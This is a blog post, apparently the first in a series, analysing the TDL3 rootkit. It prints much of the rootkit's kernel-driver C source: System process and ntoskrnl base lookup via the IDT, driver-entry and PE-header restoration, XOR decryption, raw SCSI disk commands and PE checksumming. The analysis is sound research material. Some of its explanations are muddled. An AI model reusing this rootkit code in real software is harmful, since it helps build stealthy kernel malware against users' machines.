Saturday, April 16, 2011

TDL3 Rootkit - Implicit Analysis (Part 1)


TDL3 rootkit is one of the most advanced rootkit that is used in the wild for spreading malware and compromising window machines specifically. Primarily, the TDL3 rootkit is very stable from execution point of view. Previously, the rootkit was supposed to infect 32 bit systems but latest versions are impacting the windows x64 bit boxes. in the previous times, we have noticed rootkits that impact Master Boot Record (MBR) and these are termed as vbootkits. However, TDL3 rootkit is showing infections that are specifically targeting MBR's. In this post , we are going to discuss about the TDL3 rootkit design and its impact. This analysis is basically used to discuss all the routines used by TDL3 rootkit and is divided into number of posts. This is the first post and further details will be discussed in later posts. TDL3 rootkit uses most of the function from windows driver framework libraries discussed in wdm.h and it loaded itself as a device driver.

[1] Getting the Offset of System Process:
TDL3 rootkit uses the listed technique of getting the offset of System (System 0) process from the current process (rootkit process) in execution. It uses RtlOffsetToPointer() function to locate the process offset from the given base address. The base address is extracted by using IoGetcurrentProcess() which returns a pointer to the based address. With respect to it, the offset of "SYSTEM 0" process is calculated which is nothing but the first process that is spawned by windows.
"SYSTEM 0" value is passed as a string of chars to the cSystem array[]. Once the function is called it is loaded effectively into the memory to set the base address

VOID GetEPNameOffset(){
CHAR cSystem[]={'S','y','s','t','e','m',0};
GET_TDL_ADDRESSES->dwEPNameOffset=0;

while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),
GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
{ GET_TDL_ADDRESSES->dwEPNameOffset++; }
return;
}


[2] Getting NT OS Kernel Base
TDL3 rootkit tries to find the base address of ntoskrn.exe in order to take control of the low level system functioning. In the code presented below, "__asm { sidt bIDT; }" declares SIDT instruction which is used to find Interrupt Descriptor Table(IDT) address in the memory. It basically returns the IDTINFO structure in which entries are segregated in lower WORD and high WORD values. In IDTINFO structure, each entry has its own structure which is 64 bit long. Each entry contains the address of the function that handles a specific interrupt. Interrupt handler = Address(Hi Offset + Lo Offset).


__declspec(noinline) PVOID GetNtoskrnlBase()
{
BYTE bIDT[6];
PIDT_ENTRY pieIDTEntry;
PWORD pwAddress;

__asm { sidt bIDT; }

pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
do {
pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
if(*pwAddress=='ZM')
{ return (PVOID)pwAddress; }
pwAddress--;}

while(pwAddress!=0);
return 0; }


[3] Filesystem Change Routine
This is specific routine utilized by TDL3 rootkit to initiate a file system filter which uses a callback function in order to provide notification to main TDL3 driver about the state of file system being registered or unregistered as an active file system. The "RtlImageNtHeader" returns handle to PIMAGE_NT_HEADERS and "RtlOffsetToPointer" returns a pointer to the offset from a specific base address. Generally, the process characteristics are checked (primarily address) when a driver is initiated to notify about the change in the file system registration.

NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
PTDL_START ptsStart;
PIMAGE_NT_HEADERS pinhHeader;

GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,
pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));

GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size
=ptsStart->dwSectionSecuritySize;
pinhHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->
dwSectionSecurityVirtualAddress;

GetEPNameOffset();
*GET_TDL_ADDRESSES->cBotID=0;
if(!NT_SUCCESS(Reinitialize(0,FALSE)))
{
IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,
ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
}
return STATUS_SUCCESS;
}


[4] Decrypting Data Routine
A simple XOR based algorithm is used for decryption. Looks like for decrypting the raw data from the system or during execution.

PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{ DWORD dwData;
for(dwData=0; dwData lt; dwSize;dwData++)
{ ((PBYTE)pvData)[dwData]^=dwData+bKey;}
return pvData;};


[5] Small Computer System Interface (SCSI) Command Routine
TDL3 rootkit uses SCSI command routine to connect and transferring data between various peripheral devices which includes hard disks, scanners, usb etc. Since SCSI command interface is implemented as a part of device driver, TDL3 rootkit potentially exploits the command set provided by SCSI interface. The basic aim is to infect peripheral devices when these are attached to system, TDL3 rootkit device driver detects the device and sends initiates a communication routine in order to send commands to that device. This is implemented using "SCSI_REQUEST_BLOCK" structure in which "SRB_FUNCTION_EXECUTE_SCSI" flag is passed as value to the member function in order to execute the request on the logical device. Another flag "SRB_FLAGS_DISABLE_AUTOSENSE" is used to disable the request-send information should not be returned back.

TDL3 rootkit also uses "IoAllocateIrp" in order to create IRP (I/O Request Packet) to communicate with low level drivers. "PIO_STACK_LOCATION" structure is used which is an entry in the I/O stack that is associated with each IRP (created by IoAllocateIrp). "IoGetNextIrpStackLocation" is sued to walk down the stack for accessing next low leveld river associated with same IRP (created before). TDL3 rootkit implement it as follows

NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
SCSI_REQUEST_BLOCK srbBuffer;
SENSE_DATA sdData;
IO_STATUS_BLOCK iosbStatus;
KEVENT keEvent;
PIRP piIrp;
PMDL pmMdl;
PIO_STACK_LOCATION pislStack;

memset(&srbBuffer,0,sizeof(srbBuffer));
memset(&sdData,0,sizeof(sdData));
srbBuffer.Length=sizeof(srbBuffer);
srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
srbBuffer.SenseInfoBufferLength=sizeof(sdData);
srbBuffer.SenseInfoBuffer=&sdData;
srbBuffer.DataTransferLength=dwBufferSize;
srbBuffer.DataBuffer=pvBuffer;
srbBuffer.TimeOutValue=5000;
srbBuffer.QueueSortKey=dwAddress;
srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.Cdb[0]=bOpCode;
srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);
srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);
srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);
srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
if(dwAddress!=0)
{
DWORD dwSectors;

dwSectors=dwBufferSize/0x200;
srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
}
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
if(piIrp!=0)
{
// Allocate Memory
pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
srbBuffer.OriginalRequest=piIrp;
piIrp->MdlAddress=pmMdl;
MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
piIrp->UserIosb=&iosbStatus;
piIrp->UserEvent=&keEvent;
piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
pislStack=IoGetNextIrpStackLocation(piIrp);
pislStack->DeviceObject=pdoDevice;
pislStack->MajorFunction=IRP_MJ_SCSI;
pislStack->Parameters.Scsi.Srb=&srbBuffer;
piIrp->CurrentLocation--;
pislStack=IoGetNextIrpStackLocation(piIrp);
piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
pislStack->DeviceObject=pdoDevice;
// Callback Function..
if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
{
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
}
return iosbStatus.Status;
}
return STATUS_INSUFFICIENT_RESOURCES;
}


[6] Computing PE Checksum

TDL3 rootkit also computes the checksum of the required portable executable as follows

DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
DWORD dwBytes=dwSize;
while(dwBytes>0)
{ if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
{wChecksum++;}
wChecksum+=*(PWORD)pvData;
dwBytes-=sizeof(WORD);
pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
}
return wChecksum+dwSize;}


Hashing module is also implemented as follows

__declspec(noinline) DWORD HashString(PCHAR pcString)
{
DWORD dwResult=0;
while(*pcString!=0)
{ dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
}
return dwResult;}


This discussion will be continued in the next post.